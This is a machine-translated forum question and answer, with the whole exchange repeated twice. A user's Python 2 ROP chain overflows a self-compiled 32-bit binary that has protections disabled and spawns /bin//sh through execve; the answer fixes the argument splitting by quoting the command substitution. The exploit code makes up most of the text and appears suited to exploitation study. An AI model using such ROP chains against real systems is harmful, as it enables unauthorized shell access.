未检测到 ROP 攻击链作为参数
ROP attack chain not detected as an argument
我已经创建了一个 ROP 攻击链,我知道它是有效的,因为我用另一个没有问题代码的程序测试了它。
我的问题是每当我 运行 我的 ROP 链作为我的目标二进制文件的输入参数时,它无法通过这部分:
if (argc !=2){
fprintf(stderr, "Error:need a command-line argument\n");
return 1;
}
我运行喜欢它:./target $(python inject.py)
下面是我的攻击链:
#!/usr/bin/env python2
from struct import pack
p = 'A'*112
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef064) # @ .data + 4
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080e3cc6) # pop ecx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x080494b9) # int 0x80
print p
当我删除上面的参数检查时,它可以让我获得对终端的 root 访问权限并正常工作。
这些是我编译程序时使用的头文件:
-g -m32 -static -U_FORTIFY_SOURCE -fno-stack-protector
目标已启用 DEP。
当用 ./target $(python inject.py)
调用时,您的 argc
不是 2
。命令替换 $()
执行,returns 然后发送它的值,在每个 space 上拆分导致 ./target
的参数数量大于 2。
为了防止 shell 在命令替换中拆分每个 space,请在命令替换周围加上引号以防止它拆分结果,而是将其作为单个参数。
变化:
./target $(python inject.py)
到
./target "$(python inject.py)"
查看以下内容了解更多信息:
- Command substitution: backticks or dollar sign / paren enclosed?
- What's the difference between $(command) and `command` in shell programming?
我已经创建了一个 ROP 攻击链,我知道它是有效的,因为我用另一个没有问题代码的程序测试了它。
我的问题是每当我 运行 我的 ROP 链作为我的目标二进制文件的输入参数时,它无法通过这部分:
if (argc !=2){
fprintf(stderr, "Error:need a command-line argument\n");
return 1;
}
我运行喜欢它:./target $(python inject.py)
下面是我的攻击链:
#!/usr/bin/env python2
from struct import pack
p = 'A'*112
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef064) # @ .data + 4
p += pack('<I', 0x080c2316) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0808e93d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481ec) # pop ebx ; ret
p += pack('<I', 0x080ef060) # @ .data
p += pack('<I', 0x080e3cc6) # pop ecx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x080572fa) # pop edx ; ret
p += pack('<I', 0x080ef068) # @ .data + 8
p += pack('<I', 0x08051710) # xor eax, eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x0809a506) # inc eax ; ret
p += pack('<I', 0x080494b9) # int 0x80
print p
当我删除上面的参数检查时,它可以让我获得对终端的 root 访问权限并正常工作。
这些是我编译程序时使用的头文件: -g -m32 -static -U_FORTIFY_SOURCE -fno-stack-protector
目标已启用 DEP。
当用 ./target $(python inject.py)
调用时,您的 argc
不是 2
。命令替换 $()
执行,returns 然后发送它的值,在每个 space 上拆分导致 ./target
的参数数量大于 2。
为了防止 shell 在命令替换中拆分每个 space,请在命令替换周围加上引号以防止它拆分结果,而是将其作为单个参数。
变化:
./target $(python inject.py)
到
./target "$(python inject.py)"
查看以下内容了解更多信息:
- Command substitution: backticks or dollar sign / paren enclosed?
- What's the difference between $(command) and `command` in shell programming?